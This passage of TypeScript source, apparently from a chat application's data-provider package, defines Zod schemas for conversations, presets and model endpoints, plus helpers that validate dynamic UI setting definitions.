unknown;\n};\n\nexport type TAttachmentMetadata = {\n type?: Tools;\n messageId: string;\n toolCallId: string;\n [Tools.memory]?: MemoryArtifact;\n [Tools.ui_resources]?: UIResource[];\n [Tools.web_search]?: SearchResultData;\n [Tools.file_search]?: SearchResultData;\n};\n\nexport type TAttachment =\n | (TFile & TAttachmentMetadata)\n | (Pick<TFile, 'filename' | 'filepath' | 'conversationId'> & {\n expiresAt: number;\n } & TAttachmentMetadata)\n | (Partial<Pick<TFile, 'filename' | 'filepath'>> &\n Pick<TFile, 'conversationId'> &\n TAttachmentMetadata);\n\nexport type TMessage = z.input<typeof tMessageSchema> & {\n children?: TMessage[];\n content?: TMessageContentParts[];\n files?: Partial<TFile>[];\n depth?: number;\n siblingIndex?: number;\n attachments?: TAttachment[];\n clientTimestamp?: string;\n feedback?: TFeedback;\n};\n\nexport const coerceNumber = z.union([z.number(), z.string()]).transform((val) => {\n if (typeof val === 'string') {\n return val.trim() === '' ? undefined : parseFloat(val);\n }\n return val;\n});\n\ntype DocumentTypeValue =\n | null\n | boolean\n | number\n | string\n | DocumentTypeValue[]\n | { [key: string]: DocumentTypeValue };\n\nconst DocumentType: z.ZodType<DocumentTypeValue> = z.lazy(() =>\n z.union([\n z.null(),\n z.boolean(),\n z.number(),\n z.string(),\n z.array(z.lazy(() => DocumentType)),\n z.record(z.lazy(() => DocumentType)),\n ]),\n);\n\nexport const tConversationSchema = z.object({\n conversationId: z.string().nullable(),\n endpoint: eModelEndpointSchema.nullable(),\n endpointType: eModelEndpointSchema.nullable().optional(),\n isArchived: z.boolean().optional(),\n title: z.string().nullable().or(z.literal('New Chat')).default('New Chat'),\n user: z.string().optional(),\n messages: z.array(z.string()).optional(),\n tools: z.union([z.array(tPluginSchema), z.array(z.string())]).optional(),\n modelLabel: z.string().nullable().optional(),\n userLabel: z.string().optional(),\n model: z.string().nullable().optional(),\n promptPrefix: z.string().nullable().optional(),\n temperature: z.number().nullable().optional(),\n topP: z.number().optional(),\n topK: z.number().optional(),\n top_p: z.number().optional(),\n frequency_penalty: z.number().optional(),\n presence_penalty: z.number().optional(),\n parentMessageId: z.string().optional(),\n maxOutputTokens: coerceNumber.nullable().optional(),\n maxContextTokens: coerceNumber.optional(),\n max_tokens: coerceNumber.optional(),\n /* Anthropic */\n promptCache: z.boolean().optional(),\n system: z.string().optional(),\n thinking: z.boolean().optional(),\n thinkingBudget: coerceNumber.optional(),\n thinkingLevel: eThinkingLevelSchema.optional(),\n stream: z.boolean().optional(),\n /* artifacts */\n artifacts: z.string().optional(),\n /* google */\n context: z.string().nullable().optional(),\n examples: z.array(tExampleSchema).optional(),\n /* DB */\n tags: z.array(z.string()).optional(),\n createdAt: z.string(),\n updatedAt: z.string(),\n /* Files */\n resendFiles: z.boolean().optional(),\n file_ids: z.array(z.string()).optional(),\n /* vision */\n imageDetail: eImageDetailSchema.optional(),\n /* OpenAI: Reasoning models only */\n reasoning_effort: eReasoningEffortSchema.optional().nullable(),\n reasoning_summary: eReasoningSummarySchema.optional().nullable(),\n /* OpenAI: Verbosity control */\n verbosity: eVerbositySchema.optional().nullable(),\n /* OpenAI: use Responses API */\n useResponsesApi: z.boolean().optional(),\n /* Anthropic: Effort control */\n effort: eAnthropicEffortSchema.optional().nullable(),\n /* OpenAI Responses API / Anthropic API / Google API */\n web_search: z.boolean().optional(),\n /* disable streaming */\n disableStreaming: z.boolean().optional(),\n /* assistant */\n assistant_id: z.string().optional(),\n /* agents */\n agent_id: z.string().optional(),\n /* AWS Bedrock */\n region: z.string().optional(),\n maxTokens: coerceNumber.optional(),\n additionalModelRequestFields: DocumentType.optional(),\n /* assistants */\n instructions: z.string().optional(),\n additional_instructions: z.string().optional(),\n append_current_datetime: z.boolean().optional(),\n /** Used to overwrite active conversation settings when saving a Preset */\n presetOverride: z.record(z.unknown()).optional(),\n stop: z.array(z.string()).optional(),\n /* frontend components */\n greeting: z.string().optional(),\n spec: z.string().nullable().optional(),\n iconURL: z.string().nullable().optional(),\n /* temporary chat */\n expiredAt: z.string().nullable().optional(),\n /* file token limits */\n fileTokenLimit: coerceNumber.optional(),\n /** @deprecated */\n resendImages: z.boolean().optional(),\n /** @deprecated Prefer `modelLabel` over `chatGptLabel` */\n chatGptLabel: z.string().nullable().optional(),\n});\n\nexport const tPresetSchema = tConversationSchema\n .omit({\n conversationId: true,\n createdAt: true,\n updatedAt: true,\n title: true,\n })\n .merge(\n z.object({\n conversationId: z.string().nullable().optional(),\n presetId: z.string().nullable().optional(),\n title: z.string().nullable().optional(),\n defaultPreset: z.boolean().optional(),\n order: z.number().optional(),\n endpoint: extendedModelEndpointSchema.nullable(),\n }),\n );\n\nexport const tConvoUpdateSchema = tConversationSchema.merge(\n z.object({\n endpoint: extendedModelEndpointSchema.nullable(),\n createdAt: z.string().optional(),\n updatedAt: z.string().optional(),\n }),\n);\n\nexport const tQueryParamsSchema = tConversationSchema\n .pick({\n // librechat settings\n /** The model spec to be used */\n spec: true,\n /** The AI context window, overrides the system-defined window as determined by `model` value */\n maxContextTokens: true,\n /**\n * Whether or not to re-submit files from previous messages on subsequent messages\n * */\n resendFiles: true,\n /**\n * @endpoints openAI, custom, azureOpenAI\n *\n * System parameter that only affects the above endpoints.\n * Image detail for re-sizing according to OpenAI spec, defaults to `auto`\n * */\n imageDetail: true,\n /**\n * AKA Custom Instructions, dynamically added to chat history as a system message;\n * for `bedrock` endpoint, this is used as the `system` model param if the provider uses it;\n * for `assistants` endpoint, this is used as the `additional_instructions` model param:\n * https://platform.openai.com/docs/api-reference/runs/createRun#runs-createrun-additional_instructions\n * ; otherwise, a message with `system` role is added to the chat history\n */\n promptPrefix: true,\n // Model parameters\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, assistants, azureAssistants, bedrock */\n model: true,\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, bedrock */\n temperature: true,\n /** @endpoints openAI, custom, azureOpenAI */\n presence_penalty: true,\n /** @endpoints openAI, custom, azureOpenAI */\n frequency_penalty: true,\n /** @endpoints openAI, custom, azureOpenAI */\n stop: true,\n /** @endpoints openAI, custom, azureOpenAI */\n top_p: true,\n /** @endpoints openAI, custom, azureOpenAI */\n max_tokens: true,\n /** @endpoints openAI, custom, azureOpenAI */\n reasoning_effort: true,\n /** @endpoints openAI, custom, azureOpenAI */\n reasoning_summary: true,\n /** @endpoints openAI, custom, azureOpenAI */\n verbosity: true,\n /** @endpoints openAI, custom, azureOpenAI */\n useResponsesApi: true,\n /** @endpoints openAI, anthropic, google */\n web_search: true,\n /** @endpoints openAI, custom, azureOpenAI */\n disableStreaming: true,\n /** @endpoints google, anthropic, bedrock */\n topP: true,\n /** @endpoints google, anthropic */\n topK: true,\n /** @endpoints google, anthropic */\n maxOutputTokens: true,\n /** @endpoints anthropic */\n promptCache: true,\n thinking: true,\n thinkingBudget: true,\n thinkingLevel: true,\n effort: true,\n /** @endpoints bedrock */\n region: true,\n /** @endpoints bedrock */\n maxTokens: true,\n /** @endpoints agents */\n agent_id: true,\n /** @endpoints assistants, azureAssistants */\n assistant_id: true,\n /** @endpoints assistants, azureAssistants */\n append_current_datetime: true,\n /**\n * @endpoints assistants, azureAssistants\n *\n * Overrides existing assistant instructions, only used for the current run:\n * https://platform.openai.com/docs/api-reference/runs/createRun#runs-createrun-instructions\n * */\n instructions: true,\n /** @endpoints openAI, google, anthropic */\n fileTokenLimit: true,\n })\n .merge(\n z.object({\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, assistants, azureAssistants, bedrock, agents */\n endpoint: extendedModelEndpointSchema.nullable(),\n }),\n );\n\n/** Narrowed preset schema for use in model specs — omits system/DB/deprecated fields */\nexport const tModelSpecPresetSchema = tPresetSchema.omit({\n isArchived: true,\n user: true,\n messages: true,\n tags: true,\n file_ids: true,\n expiredAt: true,\n parentMessageId: true,\n resendImages: true,\n chatGptLabel: true,\n presetOverride: true,\n greeting: true,\n iconURL: true,\n spec: true,\n});\n\nexport type TModelSpecPreset = z.infer<typeof tModelSpecPresetSchema>;\n\nexport type TPreset = z.infer<typeof tPresetSchema>;\n\nexport type TSetOption = (\n param: number | string,\n) => (newValue: number | string | boolean | string[] | Partial<TPreset>) => void;\n\nexport type TConversation = z.infer<typeof tConversationSchema> & {\n presetOverride?: Partial<TPreset>;\n disableParams?: boolean;\n};\n\nexport const tSharedLinkSchema = z.object({\n conversationId: z.string(),\n shareId: z.string(),\n messages: z.array(z.string()),\n isPublic: z.boolean(),\n title: z.string(),\n createdAt: z.string(),\n updatedAt: z.string(),\n});\n\nexport type TSharedLink = z.infer<typeof tSharedLinkSchema>;\n\nexport const tConversationTagSchema = z.object({\n _id: z.string(),\n user: z.string(),\n tag: z.string(),\n description: z.string().optional(),\n createdAt: z.string(),\n updatedAt: z.string(),\n count: z.number(),\n position: z.number(),\n});\nexport type TConversationTag = z.infer<typeof tConversationTagSchema>;\n\nexport const googleBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n promptPrefix: true,\n examples: true,\n temperature: true,\n maxOutputTokens: true,\n artifacts: true,\n topP: true,\n topK: true,\n thinking: true,\n thinkingBudget: true,\n thinkingLevel: true,\n web_search: true,\n fileTokenLimit: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n});\n\nexport const googleSchema = googleBaseSchema\n .transform((obj: Partial<TConversation>) => removeNullishValues(obj, true))\n .catch(() => ({}));\n\n/**\n * TODO: Map the following fields:\n - presence_penalty -> presencePenalty\n - frequency_penalty -> frequencyPenalty\n - stop -> stopSequences\n */\nexport const googleGenConfigSchema = z\n .object({\n maxOutputTokens: coerceNumber.optional(),\n temperature: coerceNumber.optional(),\n topP: coerceNumber.optional(),\n topK: coerceNumber.optional(),\n presencePenalty: coerceNumber.optional(),\n frequencyPenalty: coerceNumber.optional(),\n stopSequences: z.array(z.string()).optional(),\n thinkingConfig: z\n .object({\n includeThoughts: z.boolean().optional(),\n thinkingBudget: coerceNumber.optional(),\n thinkingLevel: z.string().optional(),\n })\n .optional(),\n web_search: z.boolean().optional(),\n })\n .strip()\n .optional();\n\nexport function removeNullishValues<T extends Record<string, unknown>>(\n obj: T,\n removeEmptyStrings?: boolean,\n): Partial<T> {\n const newObj: Partial<T> = { ...obj };\n\n (Object.keys(newObj) as Array<keyof T>).forEach((key) => {\n const value = newObj[key];\n if (value === undefined || value === null) {\n delete newObj[key];\n }\n if (removeEmptyStrings && typeof value === 'string' && value === '') {\n delete newObj[key];\n }\n });\n\n return newObj;\n}\n\nconst assistantBaseSchema = tConversationSchema.pick({\n model: true,\n assistant_id: true,\n instructions: true,\n artifacts: true,\n promptPrefix: true,\n iconURL: true,\n greeting: true,\n spec: true,\n append_current_datetime: true,\n});\n\nexport const assistantSchema = assistantBaseSchema\n .transform((obj) => ({\n ...obj,\n model: obj.model ?? openAISettings.model.default,\n assistant_id: obj.assistant_id ?? undefined,\n instructions: obj.instructions ?? undefined,\n promptPrefix: obj.promptPrefix ?? null,\n iconURL: obj.iconURL ?? undefined,\n greeting: obj.greeting ?? undefined,\n spec: obj.spec ?? undefined,\n append_current_datetime: obj.append_current_datetime ?? false,\n }))\n .catch(() => ({\n model: openAISettings.model.default,\n assistant_id: undefined,\n instructions: undefined,\n promptPrefix: null,\n iconURL: undefined,\n greeting: undefined,\n spec: undefined,\n append_current_datetime: false,\n }));\n\nconst compactAssistantBaseSchema = tConversationSchema.pick({\n model: true,\n assistant_id: true,\n instructions: true,\n promptPrefix: true,\n artifacts: true,\n iconURL: true,\n greeting: true,\n spec: true,\n});\n\nexport const compactAssistantSchema = compactAssistantBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n\nexport const agentsBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n temperature: true,\n top_p: true,\n presence_penalty: true,\n frequency_penalty: true,\n resendFiles: true,\n imageDetail: true,\n agent_id: true,\n instructions: true,\n promptPrefix: true,\n iconURL: true,\n greeting: true,\n maxContextTokens: true,\n});\n\nexport const agentsSchema = agentsBaseSchema\n .transform((obj) => ({\n ...obj,\n model: obj.model ?? agentsSettings.model.default,\n modelLabel: obj.modelLabel ?? null,\n temperature: obj.temperature ?? 1,\n top_p: obj.top_p ?? 1,\n presence_penalty: obj.presence_penalty ?? 0,\n frequency_penalty: obj.frequency_penalty ?? 0,\n resendFiles:\n typeof obj.resendFiles === 'boolean' ? obj.resendFiles : agentsSettings.resendFiles.default,\n imageDetail: obj.imageDetail ?? ImageDetail.auto,\n agent_id: obj.agent_id ?? undefined,\n instructions: obj.instructions ?? undefined,\n promptPrefix: obj.promptPrefix ?? null,\n iconURL: obj.iconURL ?? undefined,\n greeting: obj.greeting ?? undefined,\n maxContextTokens: obj.maxContextTokens ?? undefined,\n }))\n .catch(() => ({\n model: agentsSettings.model.default,\n modelLabel: null,\n temperature: 1,\n top_p: 1,\n presence_penalty: 0,\n frequency_penalty: 0,\n resendFiles: agentsSettings.resendFiles.default,\n imageDetail: ImageDetail.auto,\n agent_id: undefined,\n instructions: undefined,\n promptPrefix: null,\n iconURL: undefined,\n greeting: undefined,\n maxContextTokens: undefined,\n }));\n\nexport const openAIBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n chatGptLabel: true,\n promptPrefix: true,\n temperature: true,\n top_p: true,\n presence_penalty: true,\n frequency_penalty: true,\n resendFiles: true,\n artifacts: true,\n imageDetail: true,\n stop: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n max_tokens: true,\n reasoning_effort: true,\n reasoning_summary: true,\n verbosity: true,\n useResponsesApi: true,\n web_search: true,\n disableStreaming: true,\n fileTokenLimit: true,\n});\n\nexport const openAISchema = openAIBaseSchema\n .transform((obj: Partial<TConversation>) => removeNullishValues(obj, true))\n .catch(() => ({}));\n\nexport const compactGoogleSchema = googleBaseSchema\n .transform((obj) => {\n const newObj: Partial<TConversation> = { ...obj };\n if (newObj.temperature === google.temperature.default) {\n delete newObj.temperature;\n }\n if (newObj.maxOutputTokens === google.maxOutputTokens.default) {\n delete newObj.maxOutputTokens;\n }\n if (newObj.topP === google.topP.default) {\n delete newObj.topP;\n }\n if (newObj.topK === google.topK.default) {\n delete newObj.topK;\n }\n\n return removeNullishValues(newObj, true);\n })\n .catch(() => ({}));\n\nexport const anthropicBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n promptPrefix: true,\n temperature: true,\n maxOutputTokens: true,\n topP: true,\n topK: true,\n resendFiles: true,\n promptCache: true,\n thinking: true,\n thinkingBudget: true,\n effort: true,\n artifacts: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n web_search: true,\n fileTokenLimit: true,\n stop: true,\n stream: true,\n});\n\nexport const anthropicSchema = anthropicBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n\nexport const tBannerSchema = z.object({\n bannerId: z.string(),\n message: z.string(),\n displayFrom: z.string(),\n displayTo: z.string(),\n createdAt: z.string(),\n updatedAt: z.string(),\n isPublic: z.boolean(),\n persistable: z.boolean().default(false),\n});\nexport type TBanner = z.infer<typeof tBannerSchema>;\n\nexport const compactAgentsBaseSchema = tConversationSchema.pick({\n spec: true,\n // model: true,\n iconURL: true,\n greeting: true,\n agent_id: true,\n instructions: true,\n additional_instructions: true,\n});\n\nexport const compactAgentsSchema = compactAgentsBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n","import { z, ZodArray, ZodError, ZodIssueCode } from 'zod';\nimport { tConversationSchema, googleSettings as google, openAISettings as openAI } from './schemas';\nimport type { ZodIssue } from 'zod';\nimport type { TConversation, TSetOption, TPreset } from './schemas';\n\nexport type GoogleSettings = Partial<typeof google>;\nexport type OpenAISettings = Partial<typeof google>;\n\nexport type ComponentType =\n | 'input'\n | 'textarea'\n | 'slider'\n | 'checkbox'\n | 'switch'\n | 'dropdown'\n | 'combobox'\n | 'tags';\n\nexport type OptionType = 'conversation' | 'model' | 'custom';\n\nexport type Option = Record<string, unknown> & {\n label?: string;\n value: string | number | null;\n};\n\nexport type OptionWithIcon = Option & { icon?: React.ReactNode };\n\nexport enum ComponentTypes {\n Input = 'input',\n Textarea = 'textarea',\n Slider = 'slider',\n Checkbox = 'checkbox',\n Switch = 'switch',\n Dropdown = 'dropdown',\n Combobox = 'combobox',\n Tags = 'tags',\n}\n\nexport enum SettingTypes {\n Number = 'number',\n Boolean = 'boolean',\n String = 'string',\n Enum = 'enum',\n Array = 'array',\n}\n\nexport enum OptionTypes {\n Conversation = 'conversation',\n Model = 'model',\n Custom = 'custom',\n}\nexport interface SettingDefinition {\n key: string;\n description?: string;\n type: 'number' | 'boolean' | 'string' | 'enum' | 'array';\n default?: number | boolean | string | string[];\n showLabel?: boolean;\n showDefault?: boolean;\n options?: string[];\n range?: SettingRange;\n enumMappings?: Record<string, number | boolean | string>;\n component: ComponentType;\n optionType?: OptionType;\n columnSpan?: number;\n columns?: number;\n label?: string;\n placeholder?: string;\n labelCode?: boolean;\n placeholderCode?: boolean;\n descriptionCode?: boolean;\n minText?: number;\n maxText?: number;\n minTags?: number; // Specific to tags component\n maxTags?: number; // Specific to tags component\n includeInput?: boolean; // Specific to slider component\n descriptionSide?: 'top' | 'right' | 'bottom' | 'left';\n items?: OptionWithIcon[]; // Specific to combobox component\n searchPlaceholder?: string; // Specific to combobox component\n selectPlaceholder?: string; // Specific to combobox component\n searchPlaceholderCode?: boolean; // Specific to combobox component\n selectPlaceholderCode?: boolean; // Specific to combobox component\n}\n\nexport type DynamicSettingProps = Partial<SettingDefinition> & {\n readonly?: boolean;\n settingKey: string;\n setOption: TSetOption;\n conversation: Partial<TConversation> | Partial<TPreset> | null;\n defaultValue?: number | boolean | string | string[];\n className?: string;\n inputClassName?: string;\n};\n\nconst requiredSettingFields = ['key', 'type', 'component'];\n\nexport interface SettingRange {\n min: number;\n max: number;\n step?: number;\n}\n\nexport type SettingsConfiguration = SettingDefinition[];\n\nexport function generateDynamicSchema(settings: SettingsConfiguration) {\n const schemaFields: { [key: string]: z.ZodTypeAny } = {};\n\n for (const setting of settings) {\n const {\n key,\n type,\n default: defaultValue,\n range,\n options,\n minText,\n maxText,\n minTags,\n maxTags,\n } = setting;\n\n if (type === SettingTypes.Number) {\n let schema = z.number();\n if (range) {\n schema = schema.min(range.min);\n schema = schema.max(range.max);\n }\n if (typeof defaultValue === 'number') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.Boolean) {\n const schema = z.boolean();\n if (typeof defaultValue === 'boolean') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.String) {\n let schema = z.string();\n if (minText) {\n schema = schema.min(minText);\n }\n if (maxText) {\n schema = schema.max(maxText);\n }\n if (typeof defaultValue === 'string') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.Enum) {\n if (!options || options.length === 0) {\n console.warn(`Missing or empty 'options' for enum setting '${key}'.`);\n continue;\n }\n\n const schema = z.enum(options as [string, ...string[]]);\n if (typeof defaultValue === 'string') {\n schemaFields[key] = schema.default(defaultValue);\n } else {\n schemaFields[key] = schema;\n }\n continue;\n }\n\n if (type === SettingTypes.Array) {\n let schema: z.ZodSchema = z.array(z.string().or(z.number()));\n if (minTags && schema instanceof ZodArray) {\n schema = schema.min(minTags);\n }\n if (maxTags && schema instanceof ZodArray) {\n schema = schema.max(maxTags);\n }\n\n if (defaultValue && Array.isArray(defaultValue)) {\n schema = schema.default(defaultValue);\n }\n\n schemaFields[key] = schema;\n continue;\n }\n\n console.warn(`Unsupported setting type: ${type}`);\n }\n\n return z.object(schemaFields);\n}\n\nconst ZodTypeToSettingType: Record<string, string | undefined> = {\n ZodString: 'string',\n ZodNumber: 'number',\n ZodBoolean: 'boolean',\n};\n\nconst minColumns = 1;\nconst maxColumns = 4;\nconst minSliderOptions = 2;\nconst minDropdownOptions = 2;\nconst minComboboxOptions = 2;\n\n/**\n * Validates the provided setting using the constraints unique to each component type.\n * @throws {ZodError} Throws a ZodError if any validation fails.\n */\nexport function validateSettingDefinitions(settings: SettingsConfiguration): void {\n const errors: ZodIssue[] = [];\n // Validate columns\n const columnsSet = new Set<number>();\n for (const setting of settings) {\n if (setting.columns !== undefined) {\n if (setting.columns < minColumns || setting.columns > maxColumns) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid columns value for setting ${setting.key}. Must be between ${minColumns} and ${maxColumns}.`,\n path: ['columns'],\n });\n } else {\n columnsSet.add(setting.columns);\n }\n }\n }\n\n const columns = columnsSet.size === 1 ? columnsSet.values().next().value : 2;\n\n for (const setting of settings) {\n for (const field of requiredSettingFields) {\n if (setting[field as keyof SettingDefinition] === undefined) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Missing required field ${field} for setting ${setting.key}.`,\n path: [field],\n });\n }\n }\n\n // check accepted types\n const settingTypes = Object.values(SettingTypes);\n if (!settingTypes.includes(setting.type as SettingTypes)) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid type for setting ${setting.key}. Must be one of ${settingTypes.join(\n ', ',\n )}.`,\n path: ['type'],\n });\n }\n\n // Predefined constraints based on components\n if (\n (setting.component === ComponentTypes.Tags && setting.type !== SettingTypes.Array) ||\n (setting.component !== ComponentTypes.Tags && setting.type === SettingTypes.Array)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Tags component for setting ${setting.key} must have type array.`,\n path: ['type'],\n });\n }\n\n if (setting.component === ComponentTypes.Tags) {\n if (setting.minTags !== undefined && setting.minTags < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid minTags value for setting ${setting.key}. Must be non-negative.`,\n path: ['minTags'],\n });\n }\n if (setting.maxTags !== undefined && setting.maxTags < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid maxTags value for setting ${setting.key}. Must be non-negative.`,\n path: ['maxTags'],\n });\n }\n if (setting.default && !Array.isArray(setting.default)) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be an array.`,\n path: ['default'],\n });\n }\n if (setting.default && setting.maxTags && (setting.default as []).length > setting.maxTags) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must have at most ${setting.maxTags} tags.`,\n path: ['default'],\n });\n }\n if (setting.default && setting.minTags && (setting.default as []).length < setting.minTags) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must have at least ${setting.minTags} tags.`,\n path: ['default'],\n });\n }\n if (!setting.default) {\n setting.default = [];\n }\n }\n\n if (\n setting.component === ComponentTypes.Input ||\n setting.component === ComponentTypes.Textarea\n ) {\n if (setting.type === SettingTypes.Number && setting.component === ComponentTypes.Textarea) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Textarea component for setting ${setting.key} must have type string.`,\n path: ['type'],\n });\n // continue;\n }\n\n if (\n setting.minText !== undefined &&\n setting.maxText !== undefined &&\n setting.minText > setting.maxText\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `For setting ${setting.key}, minText cannot be greater than maxText.`,\n path: [setting.key, 'minText', 'maxText'],\n });\n // continue;\n }\n if (!setting.placeholder) {\n setting.placeholder = '';\n } // Default placeholder\n }\n\n if (setting.component === ComponentTypes.Slider) {\n if (setting.type === SettingTypes.Number && !setting.range) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Slider component for setting ${setting.key} must have a range if type is number.`,\n path: ['range'],\n });\n // continue;\n }\n if (\n setting.type === SettingTypes.Enum &&\n (!setting.options || setting.options.length < minSliderOptions)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Slider component for setting ${setting.key} requires at least ${minSliderOptions} options for enum type.`,\n path: ['options'],\n });\n // continue;\n }\n setting.includeInput =\n setting.type === SettingTypes.Number ? (setting.includeInput ?? true) : false; // Default to true if type is number\n }\n\n if (setting.component === ComponentTypes.Slider && setting.type === SettingTypes.Number) {\n if (setting.default === undefined && setting.range) {\n // Set default to the middle of the range if unspecified\n setting.default = Math.round((setting.range.min + setting.range.max) / 2);\n }\n }\n\n if (\n setting.component === ComponentTypes.Checkbox ||\n setting.component === ComponentTypes.Switch\n ) {\n if (setting.options && setting.options.length > 2) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Checkbox/Switch component for setting ${setting.key} must have 1-2 options.`,\n path: ['options'],\n });\n // continue;\n }\n if (!setting.default && setting.type === SettingTypes.Boolean) {\n setting.default = false; // Default to false if type is boolean\n }\n }\n\n if (setting.component === ComponentTypes.Dropdown) {\n if (!setting.options || setting.options.length < minDropdownOptions) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Dropdown component for setting ${setting.key} requires at least ${minDropdownOptions} options.`,\n path: ['options'],\n });\n // continue;\n }\n if (!setting.default && setting.options && setting.options.length > 0) {\n setting.default = setting.options[0]; // Default to first option if not specified\n }\n }\n\n if (setting.component === ComponentTypes.Combobox) {\n if (!setting.options || setting.options.length < minComboboxOptions) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Combobox component for setting ${setting.key} requires at least ${minComboboxOptions} options.`,\n path: ['options'],\n });\n }\n if (!setting.default && setting.options && setting.options.length > 0) {\n setting.default = setting.options[0];\n }\n }\n\n // Default columnSpan\n if (!setting.columnSpan) {\n setting.columnSpan = Math.floor((columns ?? 0) / 2);\n }\n\n // Default label to key\n if (!setting.label) {\n setting.label = setting.key;\n }\n\n // Validate minText and maxText for input/textarea\n if (\n setting.component === ComponentTypes.Input ||\n setting.component === ComponentTypes.Textarea\n ) {\n if (setting.minText !== undefined && setting.minText < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid minText value for setting ${setting.key}. Must be non-negative.`,\n path: ['minText'],\n });\n }\n if (setting.maxText !== undefined && setting.maxText < 0) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid maxText value for setting ${setting.key}. Must be non-negative.`,\n path: ['maxText'],\n });\n }\n }\n\n // Validate optionType and conversation schema\n if (setting.optionType !== OptionTypes.Custom) {\n const conversationSchema =\n tConversationSchema.shape[setting.key as keyof Omit<TConversation, 'disableParams'>];\n if (!conversationSchema) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Setting ${setting.key} with optionType \"${setting.optionType}\" must be defined in tConversationSchema.`,\n path: ['optionType'],\n });\n } else {\n const zodType = conversationSchema._def.typeName;\n const settingTypeEquivalent = ZodTypeToSettingType[zodType] || null;\n if (settingTypeEquivalent !== setting.type) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Setting ${setting.key} with optionType \"${setting.optionType}\" must match the type defined in tConversationSchema.`,\n path: ['optionType'],\n });\n }\n }\n }\n\n /* Default value checks */\n if (\n setting.type === SettingTypes.Number &&\n isNaN(setting.default as number) &&\n setting.default != null\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be a number.`,\n path: ['default'],\n });\n }\n\n if (\n setting.type === SettingTypes.Boolean &&\n typeof setting.default !== 'boolean' &&\n setting.default != null\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be a boolean.`,\n path: ['default'],\n });\n }\n\n if (\n (setting.type === SettingTypes.String || setting.type === SettingTypes.Enum) &&\n typeof setting.default !== 'string' &&\n setting.default != null\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be a string.`,\n path: ['default'],\n });\n }\n\n if (\n setting.type === SettingTypes.Enum &&\n setting.options &&\n !setting.options.includes(setting.default as string)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${\n setting.key\n }. Must be one of the options: [${setting.options.join(', ')}].`,\n path: ['default'],\n });\n }\n\n if (\n setting.type === SettingTypes.Number &&\n setting.range &&\n typeof setting.default === 'number' &&\n (setting.default < setting.range.min || setting.default > setting.range.max)\n ) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Invalid default value for setting ${setting.key}. Must be within the range [${setting.range.min}, ${setting.range.max}].`,\n path: ['default'],\n });\n }\n\n // Validate enumMappings\n if (setting.enumMappings && setting.type === SettingTypes.Enum && setting.options) {\n for (const option of setting.options) {\n if (!(option in setting.enumMappings)) {\n errors.push({\n code: ZodIssueCode.custom,\n message: `Missing enumMapping for option \"${option}\" in setting ${setting.key}.`,\n path: ['enumMappings'],\n });\n }\n }\n }\n }\n\n if (errors.length > 0) {\n throw new ZodError(errors);\n }\n}\n\nexport const generateOpenAISchema = (customOpenAI: OpenAISettings) => {\n const defaults = { ...openAI, ...customOpenAI };\n return tConversationSchema\n .pick({\n model: true,\n chatGptLabel: true,\n promptPrefix: true,\n temperature: true,\n top_p: true,\n presence_penalty: true,\n frequency_penalty: true,\n resendFiles: true,\n imageDetail: true,\n maxContextTokens: true,\n })\n .transform((obj) => ({\n ...obj,\n model: obj.model ?? defaults.model.default,\n chatGptLabel: obj.chatGptLabel ?? null,\n promptPrefix: obj.promptPrefix ?? null,\n temperature: obj.temperature ?? defaults.temperature.default,\n top_p: obj.top_p ?? defaults.top_p.default,\n presence_penalty: obj.presence_penalty ?? defaults.presence_penalty.default,\n frequency_penalty: obj.frequency_penalty ?? defaults.frequency_penalty.default,\n resendFiles:\n typeof obj.resendFiles === 'boolean' ? obj.resendFiles : defaults.resendFiles.default,\n imageDetail: obj.imageDetail ?? defaults.imageDetail.default,\n maxContextTokens: obj.maxContextTokens ?? undefined,\n }))\n .catch(() => ({\n model: 